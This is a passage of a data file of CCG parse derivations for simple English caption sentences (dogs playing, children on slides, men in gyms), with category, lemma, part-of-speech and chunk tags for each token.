t((s:ng\np)\(s:ng\np), 'up', 'up', 'RP', 'I-PRT', 'O')),
fa(np:nb,
t(np:nb/n, 'his', 'his', 'PRP$', 'I-NP', 'O'),
t(n, 'arms', 'arm', 'NNS', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(888,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'child', 'child', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'dark', 'dark', 'JJ', 'I-NP', 'O'),
t(n, 'hair', 'hair', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'going', 'go', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'down', 'down', 'RP', 'I-PRT', 'O')),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'slide', 'slide', 'NN', 'I-NP', 'O'))),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'throwing', 'throw', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'up', 'up', 'RP', 'I-PRT', 'O')),
fa(np:nb,
t(np:nb/n, 'his', 'his', 'PRP$', 'I-NP', 'O'),
t(n, 'arms', 'arm', 'NNS', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(889,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'dogs', 'dog', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'forest', 'forest', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(890,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'brown', 'brown', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'after', 'after', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'rocky', 'rocky', 'JJ', 'I-NP', 'O'),
t(n, 'shore', 'shore', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(891,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'approaching', 'approach', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'golden', 'golden', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'on', 'on', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'pebbly', 'pebbly', 'RB', 'I-NP', 'O'),
t(n, 'beach', 'beach', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(892,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'dogs', 'dog', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'rocky', 'rocky', 'JJ', 'I-NP', 'O'),
t(n, 'beach', 'beach', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(893,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
fa(n,
t(n/n, 'young', 'young', 'JJ', 'I-NP', 'O'),
t(n, 'girls', 'girl', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'hats', 'hat', 'NNS', 'I-NP', 'O'))),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'sticking', 'stick', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'their', 'their', 'PRP$', 'I-NP', 'O'),
fa(n,
t(n/n, 'colored', 'color', 'VBN', 'I-NP', 'O'),
t(n, 'tongues', 'tongue', 'NNS', 'I-NP', 'O')))),
t((s:ng\np)\(s:ng\np), 'out', 'out', 'RB', 'I-ADVP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(894,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'kids', 'kid', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'sticking', 'stick', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'out', 'out', 'RP', 'I-PRT', 'O')),
lx(np, n,
fa(n,
ba(n/n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
conj((n/n)\(n/n), n/n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n/n, 'green', 'green', 'JJ', 'I-NP', 'O'))),
fa(n,
t(n/n, 'colored', 'colored', 'JJ', 'I-NP', 'O'),
t(n, 'tongues', 'tongue', 'NNS', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(895,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'boys', 'boy', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'laying', 'lay', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'ocean', 'ocean', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/pp, 'close', 'close', 'RB', 'I-ADVP', 'O'),
fa(pp,
t(pp/np, 'to', 'to', 'TO', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'beach', 'beach', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(896,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'boys', 'boy', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'laying', 'lay', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'water', 'water', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/pp, 'close', 'close', 'RB', 'I-ADVP', 'O'),
fa(pp,
t(pp/np, 'to', 'to', 'TO', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'beach', 'beach', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(897,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'large', 'large', 'JJ', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'sitting', 'sit', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'military', 'military', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'accessories', 'accessory', 'NNS', 'I-NP', 'O'),
t(n, 'store', 'store', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(898,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'veteran', 'veteran', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'showing', 'show', 'VBG', 'I-VP', 'O'),
ba(np,
lx(np, n,
fa(n,
t(n/n, 'different', 'different', 'JJ', 'I-NP', 'O'),
t(n, 'things', 'thing', 'NNS', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'from', 'from', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'war', 'war', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'to', 'to', 'TO', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'people', 'people', 'NNS', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(899,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
t(n, 'collar', 'collar', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'ball', 'ball', 'NN', 'I-NP', 'O'),
t(n, 'outside', 'outside', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(900,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'grey', 'grey', 'NN', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'bouncing', 'bounce', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'soccer', 'soccer', 'NN', 'I-NP', 'O'),
t(n, 'ball', 'ball', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'its', 'its', 'PRP$', 'I-NP', 'O'),
t(n, 'head', 'head', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'grass', 'grass', 'NN', 'I-NP', 'O'),
t(n, 'field', 'field', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(901,
rp(s:dcl,
ba(s:dcl,
ba(np,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'young', 'young', 'JJ', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'Indian', 'indian', 'JJ', 'I-NP', 'O'),
ba(n,
t(n, 'clothing', 'clothing', 'NN', 'I-NP', 'O'),
conj(n\n, n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n, 'henna', 'henna', 'NN', 'I-NP', 'O'))))))),
fa(np\np,
t((np\np)/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'her', 'her', 'PRP$', 'I-NP', 'O'),
t(n, 'hand', 'hand', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'going', 'go', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'through', 'through', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'paperwork', 'paperwork', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(902,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'colorful', 'colorful', 'JJ', 'I-NP', 'O'),
t(n, 'shirt', 'shirt', 'NN', 'I-NP', 'O'))),
conj(np\np, np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'lot', 'lot', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'jewelry', 'jewelry', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(903,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'jersey', 'jersey', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'which', 'which', 'WDT', 'B-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:adj\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:adj\np, 'black', 'black', 'JJ', 'I-ADJP', 'O')))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'gym', 'gym', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(904,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
t(n, 'jersey', 'jersey', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'gym', 'gym', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(905,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
t(n, 'jersey', 'jersey', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'gym', 'gym', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(906,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'gym', 'gym', 'NN', 'I-NP', 'O'))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'jersey', 'jersey', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(907,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'little', 'little', 'JJ', 'I-NP', 'O'),
ba(n,
t(n, 'brown', 'brown', 'NN', 'I-NP', 'O'),
conj(n\n, n,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'sidewalk', 'sidewalk', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(908,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'little', 'little', 'JJ', 'I-NP', 'O'),
ba(n,
t(n, 'brown', 'brown', 'NN', 'I-NP', 'O'),
conj(n\n, n,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'road', 'road', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(909,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'turning', 'turn', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'grass', 'grass', 'NN', 'I-NP', 'O')))),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'pursuing', 'pursue', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'flying', 'fly', 'VBG', 'I-NP', 'O'),
fa(n,
t(n/n, 'tennis', 'tennis', 'NN', 'I-NP', 'O'),
t(n, 'ball', 'ball', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(910,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'yellow', 'yellow', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'chasing', 'chase', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'ball', 'ball', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(911,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
t(n, 'jeans', 'jeans', 'NNS', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
lx(np, n,
t(n, 'front', 'front', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'group', 'group', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'children', 'child', 'NNS', 'I-NP', 'O')))))))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'beside', 'beside', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'stone', 'stone', 'NN', 'I-NP', 'O'),
fa(n,
t(n/n, 'built', 'build', 'VBN', 'I-VP', 'O'),
t(n, 'house', 'house', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(912,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'No', 'no', 'DT', 'I-NP', 'O'),
t(n, 'lady', 'lady', 'NN', 'I-NP', 'O')),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'street', 'street', 'NN', 'I-NP', 'O'))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:pss\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'surrounded', 'surround', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
